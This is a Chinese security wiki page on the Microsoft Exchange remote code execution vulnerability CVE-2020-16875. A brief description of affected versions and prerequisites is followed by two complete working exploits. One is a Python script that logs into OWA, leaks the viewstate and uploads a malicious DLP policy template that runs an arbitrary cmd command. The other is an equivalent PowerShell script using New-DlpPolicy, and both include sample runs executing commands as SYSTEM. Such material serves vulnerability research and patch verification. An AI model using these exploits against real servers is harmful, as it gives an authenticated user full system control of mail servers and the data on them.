menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-16875)Microsoft Exchange 远程命令执行漏洞 chevron_right (CVE-2020-16875)Microsoft Exchange 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-16875)Microsoft Exchange 远程命令执行漏洞.md
    14.64 KB / 2021-07-15 19:56:41
        (CVE-2020-16875)Microsoft Exchange 远程命令执行漏洞
    =====================================================
    
    一、漏洞简介
    ------------
    
    有安全人员公开了Exchange
    Server远程代码执行漏洞(CVE-2020-16875)的利用程序,此漏洞为微软在9月8日例行月度安全更新中披露;Microsoft
    Exchange在Internet
    Explorer处理内存中的对象时存在该漏洞。利用此漏洞需要具有以某个Exchange角色进行身份验证的用户权限。
    
    攻击者可通过向受影响的Exchange服务器发送包含特殊的cmdlet参数的邮件来触发此漏洞,成功利用此漏洞的攻击者可在受影响的系统上以system权限执行任意代码。
    
    ### 利用条件
    
    需要一个Exchange用户账号
    
    二、漏洞影响
    ------------
    
    Microsoft:Exchange\_server\_2016: cu16/cu17
    
    Microsoft:Exchange\_server\_2019: cu5/cu6
    
    三、复现过程
    ------------
    
    需要一个Exchange用户账号。就能在Exchange服务器上执行任意命令。
    
    ### poc
    
    > CVE-2020-16875.py
    
    ![1.png](./resource/(CVE-2020-16875)MicrosoftExchange远程命令执行漏洞/media/rId26.png)
    
        #!/usr/bin/env python3
        """
        Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
        Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
    
        # Notes:
    
        The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox.
    
        [PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
    
        Name      AssignedRoles          RoleAssignments                  ManagedBy
        ----      -------------          ---------------                  ---------
        dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
    
        [PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
    
        RunspaceId                  : 098e1140-30e3-4144-8028-2174fdb43b85
        ManagedBy                   : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
        RoleAssignments             : {Data Loss Prevention-dlp users}
        Roles                       : {Data Loss Prevention}
        DisplayName                 :
        ExternalDirectoryObjectId   :
        Members                     : {exchangedemo.com/Users/Harry Mull}
        SamAccountName              : dlp users
        Description                 :
        RoleGroupType               : Standard
        LinkedGroup                 :
        Capabilities                : {}
        LinkedPartnerGroupId        :
        LinkedPartnerOrganizationId :
        Identity                    : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
        IsValid                     : True
        ExchangeVersion             : 0.10 (14.0.100.0)
        Name                        : dlp users
        DistinguishedName           : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
        Guid                        : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
        ObjectCategory              : exchangedemo.com/Configuration/Schema/Group
        ObjectClass                 : {top, group}
        WhenChanged                 : 6/12/2020 11:29:31 PM
        WhenCreated                 : 6/12/2020 11:29:31 PM
        WhenChangedUTC              : 6/12/2020 3:29:31 PM
        WhenCreatedUTC              : 6/12/2020 3:29:31 PM
        OrganizationId              :
        Id                          : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
        OriginatingServer           : DEAD01.exchangedemo.com
        ObjectState                 : Changed
    
        # Example:
    
        researcher@incite:~$ ./poc.py
        (+) usage: ./poc.py <target> <user:pass> <cmd>
        (+) eg: ./poc.py 192.168.75.142 [email protected]:user123### mspaint
    
        researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123### mspaint
        (+) logged in as [email protected]
        (+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5
        (+) executed mspaint as SYSTEM!
        """
    
        import re
        import sys
        import random
        import string
        import urllib3
        import requests
    
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    
        def random_string(str_len=8):
            letters = string.ascii_lowercase
            return ''.join(random.choice(letters) for i in range(str_len))
    
    
        def get_xml(c):
            return """<?xml version="1.0" encoding="UTF-8"?>
        <dlpPolicyTemplates>
          <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
            <contentVersion>4</contentVersion>
            <publisherName>si</publisherName>
            <name>
              <localizedString lang="en"></localizedString>
            </name>
            <description>
              <localizedString lang="en"></localizedString>
            </description>
            <keywords></keywords>
            <ruleParameters></ruleParameters>
            <policyCommands>
              <commandBlock>
                <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
              </commandBlock>
            </policyCommands>
            <policyCommandsResources></policyCommandsResources>
          </dlpPolicyTemplate>
        </dlpPolicyTemplates>""" % c
    
    
        def trigger_rce(t, s, vs, cmd):
            f = {
                '__VIEWSTATE': (None, vs),
                'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
                'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
                'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
            }
            r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
            assert r.status_code == 200, "(-) failed to trigger rce!"
    
    
        def leak_viewstate(t, s):
            r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
            match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)
            assert match != None, "(-) couldn't leak the __viewstate!"
            return match.group(1)
    
    
        def log_in(t, usr, pwd):
            s = requests.Session()
            d = {
                "destination": "https://%s/owa" % t,
                "flags": "",
                "username": usr,
                "password": pwd
            }
            s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
            assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
            return s
    
    
        def main(t, usr, pwd, cmd):
            s = log_in(t, usr, pwd)
            print("(+) logged in as %s" % usr)
            vs = leak_viewstate(t, s)
            print("(+) found the __viewstate: %s" % vs)
            trigger_rce(t, s, vs, cmd)
            print("(+) executed %s as SYSTEM!" % cmd)
    
    
        if __name__ == '__main__':
            if len(sys.argv) != 4:
                print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0])
                print("(+) eg: %s 192.168.75.142 <a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="cca4adbebeb5a18ca9b4afa4ada2aba9a8a9a1a3e2afa3a1">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:user123### mspaint" % sys.argv[0])
                sys.exit(-1)
            trgt = sys.argv[1]
            assert ":" in sys.argv[2], "(-) you need a user and password!"
            usr = sys.argv[2].split(":")[0]
            pwd = sys.argv[2].split(":")[1]
            cmd = sys.argv[3]
            main(trgt, usr, pwd, cmd)
        powershell版本:
        # Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
        # Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875
        #
        # Notes:
        #
        # The (ab)user needs the "Data Loss Prevention" role assigned
        # [PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"
        #
        # Name      AssignedRoles          RoleAssignments                  ManagedBy
        # ----      -------------          ---------------                  ---------
        # dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
        #
        #
        # [PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List
        #
        # RunspaceId                  : 098e1140-30e3-4144-8028-2174fdb43b85
        # ManagedBy                   : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
        # RoleAssignments             : {Data Loss Prevention-dlp users}
        # Roles                       : {Data Loss Prevention}
        # DisplayName                 :
        # ExternalDirectoryObjectId   :
        # Members                     : {exchangedemo.com/Users/Harry Mull}
        # SamAccountName              : dlp users
        # Description                 :
        # RoleGroupType               : Standard
        # LinkedGroup                 :
        # Capabilities                : {}
        # LinkedPartnerGroupId        :
        # LinkedPartnerOrganizationId :
        # Identity                    : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
        # IsValid                     : True
        # ExchangeVersion             : 0.10 (14.0.100.0)
        # Name                        : dlp users
        # DistinguishedName           : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
        # Guid                        : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
        # ObjectCategory              : exchangedemo.com/Configuration/Schema/Group
        # ObjectClass                 : {top, group}
        # WhenChanged                 : 6/12/2020 11:29:31 PM
        # WhenCreated                 : 6/12/2020 11:29:31 PM
        # WhenChangedUTC              : 6/12/2020 3:29:31 PM
        # WhenCreatedUTC              : 6/12/2020 3:29:31 PM
        # OrganizationId              :
        # Id                          : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
        # OriginatingServer           : DEAD01.exchangedemo.com
        # ObjectState                 : Changed
        #
        # Example:
        #
        # PS C:\Users\researcher> .\poc.ps1 -server WIN-0K4AOM2JIN6.exchangedemo.com -usr <a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="f49c9586868d99b4918c979c959a93919091999bda979b99">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> -pwd user123### -cmd mspaint
        # (+) targeting WIN-0K4AOM2JIN6.exchangedemo.com with <a class="__yjs_email__" href="/cdn-cgi/l/email-protection" data-yjsemail="4b232a393932260b2e3328232a252c2e2f2e262465282426">[email protected]</a><script data-yjshash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-yjshash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-yjsemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:user123###
        # (+) executed mspaint as SYSTEM!
        # PS C:\Users\researcher>
    
        param (
            [Parameter(Mandatory=$true)][string]$server,
            [Parameter(Mandatory=$true)][string]$usr,
            [Parameter(Mandatory=$true)][string]$pwd,
            [string]$cmd = "mspaint"
        )
    
        Function Get-RandomAlphanumericString {
            [CmdletBinding()]
            Param (
                [int] $length = 8
            )
            Process{
                Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length  | % {[char]$_}) )
            }
        }
    
        function Exploit-Exchange {
            Param (
                [string] $server,
                [string] $usr,
                [string] $pwd,
                [string] $cmd
            )
            "(+) targeting $server with ${usr}:$pwd"
            $securepwd = ConvertTo-SecureString $pwd -AsPlainText -Force
            $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($usr, $securepwd)
            $s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$server/PowerShell/ -Authentication Kerberos -Credential $creds
    
            $xml = @"
        <dlpPolicyTemplates>
          <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
            <contentVersion>4</contentVersion>
            <publisherName>si</publisherName>
            <name>
              <localizedString lang="en"></localizedString>
            </name>
            <description>
              <localizedString lang="en"></localizedString>
            </description>
            <keywords></keywords>
            <ruleParameters></ruleParameters>
            <policyCommands>
              <commandBlock>
                <![CDATA[ `$i=New-object System.Diagnostics.ProcessStartInfo;`$i.UseShellExecute=`$true;`$i.FileName="cmd";`$i.Arguments="/c $cmd";`$r=New-Object System.Diagnostics.Process;`$r.StartInfo=`$i;`$r.Start() ]]>
              </commandBlock>
            </policyCommands>
            <policyCommandsResources></policyCommandsResources>
          </dlpPolicyTemplate>
        </dlpPolicyTemplates>"@
    
            $n = Get-RandomAlphanumericString
            [Byte[]]$d = [System.Text.Encoding]::UTF8.GetBytes($xml)
            Invoke-Command -Session $s -ScriptBlock {
                New-DlpPolicy -Name $Using:n -TemplateData $Using:d
            } | Out-Null
            "(+) executed $cmd as SYSTEM!"
        }
    
        Get-PSSession | Remove-PSSession
        Exploit-Exchange -server $server -usr $usr -pwd $pwd -cmd $cmd
    
    
    links
    file_download